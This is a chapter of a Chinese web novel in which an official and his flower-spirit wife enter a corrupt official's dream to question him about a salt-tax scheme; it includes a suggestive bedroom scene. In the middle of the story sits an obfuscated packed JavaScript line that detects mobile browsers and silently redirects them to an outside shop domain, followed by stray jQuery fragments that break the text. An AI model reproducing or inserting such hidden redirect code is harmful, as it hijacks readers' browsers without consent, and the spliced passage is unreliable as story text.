“我帮你。”莲娘听罢,一字一句道。
池面的风止歇了,几片枯叶飞旋着落在宋珮兰脚下。相处三载,他心知她的意思纯粹,哪怕他方才不说那些话,她恐怕也是打算帮自己的。
“你救过我不知几回命,如此帮我,我只怕你会因此蒙祸……”宋珮兰又想起盐务司库房,那场烧了整整一夜的大火。
他无法再经历一次那样的死别了。
踌躇之际,莲娘冰凉的手覆在他手背上,“宋珮兰,我不会死。但你也不能死。查清楚这里的事,你就能和我回京城,对么?”
宋珮兰一时愣怔,竟酸涩起来,眼眶内涨了一朝秋雨,“对,查办了这桩案子,我就与你……归家。”
灯火通明的屋内,宋珮兰坐于桌案前,静心端详着莲娘。方书毅绕着桌案踱步,抱臂思忖:“嫂嫂肯帮忙自然是最好,可这个裴大人他似乎知晓嫂嫂是妖非人,他又与除妖师熟识,房中定少不了除妖的符箓,嫂嫂应当近不了他的身。”
“那就有劳你了,”宋珮兰拱手,“莲娘说,要施展入梦之术须得放一朵她的花在裴文裴大人枕边。你主意多,想个办法?”
“这……”方书毅沉吟着,忽而握拳打在手掌心,“好花配佳人,我看这裴文府中妻妾也不少,待我寻个法子卖她们几朵花去。”
说到此处,他腆着笑脸对莲娘道:“嫂嫂你的花能否多给我几朵?”
“两朵,不可再多了。”
是夜床帐间,宋珮兰勉强在轻缓下招架住了,搂着莲娘的颈项附在她耳畔道:“你的本源花何其珍贵……反正方书毅也是要鱼目混珠,将那一朵花藏进千百朵中的,给他,唔,给他一朵不就好了?”
“一朵花难成事。”
如此浅显的道理,莲娘不觉得宋珮兰不会明白。可他偏要问。她慢慢拨捻那点朱红,把人逼得狠了,趁其不备再道,“你为何这般问?”
宋珮兰呼出的潮热气息扑在她颈项间,暖融融好似小动物的皮毛。他这回眼神不躲也不避,勾着她的脖颈,“……我可没有莲娘的花。”
意识迷乱下,他已然忘了从前自己说的话,犹如自寻死路一般提起。莲娘从他唇边拨开一缕被咬进去的发丝,点头道:“你是没有。我给你,你不要。”
“……”
宋珮兰脑中热雾消退了大半,“我不是不要,是不忍心摘它,我如今想要了……能给我一朵么?”
这些藤蔓的厉害他是身体力行地领会过了,此时莲娘一个不如意就能……他怕了几分,忽觉那藤蔓似在凝结出什么奇异的东西,颤着声问道:“莲娘,你在做什么?你,你可是说过要我活着的……”
“花摘净了,花谢之后便是结果,”莲娘轻咬他的耳垂,“我没有花给你,但还有几颗果子。”
“莲娘!……”
宋珮兰脊背骤然一仰,眼前悬着的床帐缭乱起来。
翌日方书毅办妥了事情,回院子里看见宋珮兰颤颤巍巍地扶着墙走路,急忙上前搀了一把:“你这腿究竟是怎么回事?不行,我还是去给你请个郎中来,要是落下残疾变成个瘸子该如何是好!”
“不碍事的,”宋珮兰只问,“你事情确定办妥了?我夫人可再没有花给你了。”
方书毅拍他肩膀,“放心,送到裴文他最喜爱的那个小妾脑袋上了,保准今晚就能让嫂嫂入他的梦去!对了,今日本是审你的日子,你老师他……”
宋珮兰陡然激动起来:“老师?!他如何了?”
“你老师他坐马车去了按察使府上,据说是帮你鸣冤。他动用巡抚的权力重验了尸身,找出颇多疑点。最后,田巡抚以他的品行做担保,说既然没有更为确凿的证据指向你,合该将你放了再查。至于你越狱一事,以圣上亲派官员的名头帮你抹了,说是有要事在身才匆匆离去的。”
听完,宋珮兰久久没有出声。
这些由头,乍一听在理,可若是换个人来讲,就是万万做不得数的。老师这样做有徇私之嫌,若传扬出去,被参个几本也是常态。
加之此刻盐税的案子……老师是以命相护。
他急忙追问:“老师现如今还在按察使府上吗?”
“早就离去了。”
宋珮兰攥紧了拳,心绪翻涌起伏,无法平息。
……
打更声传遍大街小巷,裴府上下熄了灯,只留檐下一盏灯笼还点着。锦绸罗帐内,裴文与小妾宿在一处,闭目酣睡。今夜房中总有一股似有若无的香气,引得人困顿不堪,裴文稍起了疑心,可很快眼皮便耷拉下去,将这念头沉沉压下了。
无人看见的地方,那朵系在发丝间的紫花悄然释放出星星点点的光晕来。
“方书毅当真成功了?”宋珮兰看着莲娘闭目感应的模样有些紧张,这要是不成,那又要另寻他法。
莲娘没有开口,反将他拉到近前,含着他的唇瓣将一道浓郁的花香渡进去。
宋珮兰的感官紊乱。他分不清天与地,也感受不到自己究竟是站是坐,头顶有什么悠悠地飘出去了,被一双手接住,猛地往下坠落——
他睁开眼,自己正站在漂渺无垠的大雾中。
举目望去,这场大雾一眼也望不到头,头顶脚下俱是一片白色,辨不清方向。宋珮兰后退了两步,撞进一个冰冷的怀里,心跳霎时稳住了。
“你去问他,”莲娘轻轻托了一把他的腰,“越是埋在心底的事,他的回答就越模糊。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620061|205819||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她话音刚落,眼前雾气中隐约走来一人,神情呆滞,举止僵硬,正是布政使裴文。
宋珮兰上前一步,伸手在裴文眼前晃了晃,啧啧称奇,试探着开口:“你是何人?”
裴文语调平直地回答:“临川裴氏次子,琼矶布政使裴文。”
这确是实话,就连籍贯也一并答了。宋珮兰紧接着问他:“私加盐税一事是你在背后推波助澜?”
可是这次裴文面容扭曲起来,张着口半天也发不出一个字,宋珮兰求助地看着莲娘,只见她抬手,大开大合地挥袖,几颗雨滴从天而降。
忽而满室风雨。
裴文眼珠渐渐灵动起来,盘坐在室内,握着一卷文书在灯下细细查看。眨眼之间,这片雾气便搭建起楼宇屋舍,宋珮兰认得这是裴文的府邸。
有书童打扮的人进了门,双手捧上一只雪白的信鸽,它鲜红细小的爪上绑着一封密信。裴文起身将密信取下,小心地展开了。
宋珮兰正想上前一步,但裴文看信的动作更快,几乎只是匆匆一瞥,立即揭开灯罩将信纸点燃,盯着它烧成一撮灰烬。
如此谨慎,想来裴府不会留下什么书信证据了……宋珮兰蓦地一回头,盯着那候在一旁的书童。对了,这不就是人证么?
满室的风雨、灯烛一瞬间如烟消散,裴文的眼珠再度呆滞了,他站起身,一动不动地盯着远处。
此番景象令宋珮兰大为惊叹,仗着这是莲娘的术法,宋珮兰又问他:“你家中还有没有关于私加盐税的证据留存?”
“没有……”
裴文这次倒回答得十分干脆。
宋珮兰对于这个结果并无意外,一边踱步,一边酝酿着下一个问题。可裴文绵长的尾音却没有停止,他的语调从平直变得欢快起来:“真正的账册和一部分赃物都在田巡抚家里藏好了。”
“你说什么?”
宋珮兰鲜少地失态,一把抓住裴文的衣襟,“你们竟敢如此污蔑我的老师!说,放在他家中何处了?”
冰凉的手指将他和裴文分开,雾气震动,莲娘单手将他拦腰拎起,往后飞速倒退。宋珮兰眼前一黑,再度恢复光亮时,自己正枕着莲娘的腿躺在床榻上,满头的冷汗。
“他醒了。”
莲娘替他擦拭着额前,“他的戒备心很重,加上他周围有符箓护身,我的术法效用打了折扣。”
“已经很好了,”宋珮兰稍稍平稳情绪,“我问出了不少有用的消息……今晚真是多谢莲娘了。”
他用手肘撑起身子,取来外衣一件件披上,看阵势是要出门去。莲娘旁观了许久,能猜出他是要去那个田巡抚的家中,一手挽着他道:“我带你去,会更快些。”